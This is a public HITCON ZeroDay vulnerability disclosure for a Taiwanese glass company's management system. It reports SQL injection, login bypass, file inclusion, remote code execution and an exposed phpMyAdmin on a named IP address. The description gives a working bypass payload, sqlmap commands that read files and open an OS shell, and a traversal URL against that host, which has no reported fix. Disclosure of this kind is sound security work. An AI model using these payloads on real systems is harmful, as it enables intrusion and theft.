和利玻璃 資訊管理系統 SQLi、SQLi to Login、SQLi to LFI、SQLi to RCE、LFI、phpmyadmin可外網登入 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00140
  •  發信 Vendor: 和利玻璃
  • Title: 和利玻璃 資訊管理系統 SQLi、SQLi to Login、SQLi to LFI、SQLi to RCE、LFI、phpmyadmin可外網登入
  • Introduction: SQLi、SQLi to LFI、SQLi to RCE、LFI、phpmyadmin可外網登入

處理狀態

目前狀態

公開
Last Update : 2025/04/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/02/08 00:32:38 : 新提交 (由 萌新 更新此狀態)
  • 2025/02/10 12:43:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/02/10 15:37:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/02/10 15:37:33 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/04/10 03:00:56 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00140
  • 通報者:nhd1261 (萌新)
  • 風險:嚴重
  • 類型:遠端命令執行 (Remote Code Execution)

參考資料

攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。

漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection

漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection

漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html

漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://218.32.124.163/login.php
http://218.32.124.163/phpMyAdmin/
http://218.32.124.163/index1.php?no=1/../index1

敘述

後台登入存在注入點,並且資料庫權限過大可任意讀寫檔案。
帳號:'OR '1'='1' -- '
密碼:'OR '1'='1' -- '

python sqlmap.py -r "test"  --thread 10 --random-agent --batch  --dbs
python sqlmap.py -r "test"  --thread 10 --random-agent --batch  --file-read "D:\ERP\www\index1.php"
python sqlmap.py -r "test"  --thread 10 --random-agent --batch  --os-shell

發現phpmyadmin可以外網登入,且若密碼
http://218.32.124.163/phpMyAdmin/

index1.php根據no引入檔案,雖然因為有前後綴,只能引入php檔執行,但仍不安全。
http://218.32.124.163/index1.php?no=1/../index1

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;